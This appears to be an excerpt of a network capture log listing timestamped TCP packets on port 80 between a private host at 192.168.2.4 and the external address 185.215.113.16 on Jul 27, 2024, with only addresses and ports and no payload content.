Jul 27, 2024 05:39:24.503911972 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503923893 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503953934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.503962994 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.503994942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504004002 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504026890 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504034996 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504069090 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504076004 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504108906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504117966 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504142046 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504148960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504173994 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504182100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504208088 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504215956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504240036 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504249096 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504273891 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504281998 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504306078 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504314899 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504338980 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504344940 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504370928 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504381895 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504405975 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504412889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504440069 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504448891 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504473925 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504481077 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504518032 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504528046 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504560947 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504570007 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504594088 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504601955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504630089 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504636049 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504662991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504673958 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504699945 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504703999 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504731894 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504740953 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504765987 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504775047 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504800081 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504808903 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504832983 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504838943 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504864931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504873037 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504899025 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.504904985 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.504937887 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.526524067 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.526588917 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.526626110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.526644945 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.526659012 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.526674032 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.526694059 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.526704073 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.526730061 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.526736975 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.526766062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.526772022 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.526808977 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.558748007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.558814049 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.558835983 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.558851957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.558867931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.558897972 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.558912992 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.558938026 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.558947086 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.558959961 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.558979988 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.558990002 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559014082 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559020996 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559046984 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559056044 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559078932 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559086084 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559112072 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559119940 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559144974 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559151888 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559194088 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559202909 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559227943 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559235096 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559261084 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559271097 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559293985 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559299946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559329987 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559334040 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559362888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559370995 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559396029 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559405088 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559428930 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559437037 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559462070 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559469938 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559494972 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559504986 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559528112 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559535980 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559561968 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559571028 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559595108 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559602976 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559628010 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559636116 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559659958 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559669971 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559693098 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559700012 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559727907 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559736013 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559762001 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559770107 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559799910 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559811115 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559833050 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559842110 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559865952 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559875011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559900045 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559906960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559933901 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559941053 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.559968948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.559976101 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.560003042 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.560014009 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.560034990 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.560044050 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.560070038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.560076952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.560117006 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.594654083 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.594718933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.594753027 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.594784975 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.594835997 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.594866991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.594909906 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.594909906 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.594914913 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.594970942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.594971895 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.594971895 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595005035 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595025063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595036030 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595056057 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595068932 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595088959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595101118 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595117092 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595134974 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595150948 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595165968 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595187902 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595199108 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595211983 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595228910 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595249891 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595264912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595273972 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595298052 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595315933 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595330000 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595350027 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595361948 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595379114 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595393896 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595413923 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595432043 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595444918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595463991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595475912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595499039 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595509052 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595529079 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595541954 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595560074 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595572948 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595592976 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595623970 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595635891 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595657110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595666885 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595693111 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595716953 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595738888 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595824957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595856905 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595889091 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595906973 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595937014 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.595937967 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595971107 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.595985889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596004009 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596020937 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596056938 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596103907 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596107006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596151114 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596155882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596199036 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596206903 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596239090 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596252918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596271992 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596282005 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596314907 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596318960 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596353054 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596362114 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596395969 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596400023 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596431971 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596442938 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596463919 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596474886 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596509933 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596524000 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596570015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596574068 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596606016 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596620083 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596642017 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596647978 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596687078 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596695900 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596728086 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596739054 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596760988 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596771955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596798897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596808910 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596832991 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596843004 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596867085 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596878052 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596899986 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596910000 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596932888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596941948 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596966028 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.596976995 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.596998930 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.597011089 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.597032070 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.597042084 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.597064018 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.597075939 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.597098112 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.597107887 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.597131014 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.597141027 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.597165108 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.597172976 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.597218037 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.618932962 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.618962049 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.619009018 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.619016886 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.619054079 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.619059086 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.619092941 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.619102001 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.619124889 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.619133949 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.619158030 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.619174004 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.619193077 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.619204998 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.619239092 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648423910 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648472071 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648500919 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648516893 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648562908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648597956 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648610115 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648632050 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648642063 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648664951 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648674965 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648701906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648710966 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648736954 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648742914 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648771048 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648776054 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648803949 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648813963 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648838043 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648844957 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648871899 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648880005 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648905993 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648912907 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648942947 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.648947001 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.648982048 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.650881052 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.650933027 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.650933027 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.650966883 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.650974035 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651010036 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651016951 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651061058 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651067019 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651109934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651115894 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651160955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651165009 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651196003 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651206017 CEST	49489	80	192.168.2.4	185.215.113.16
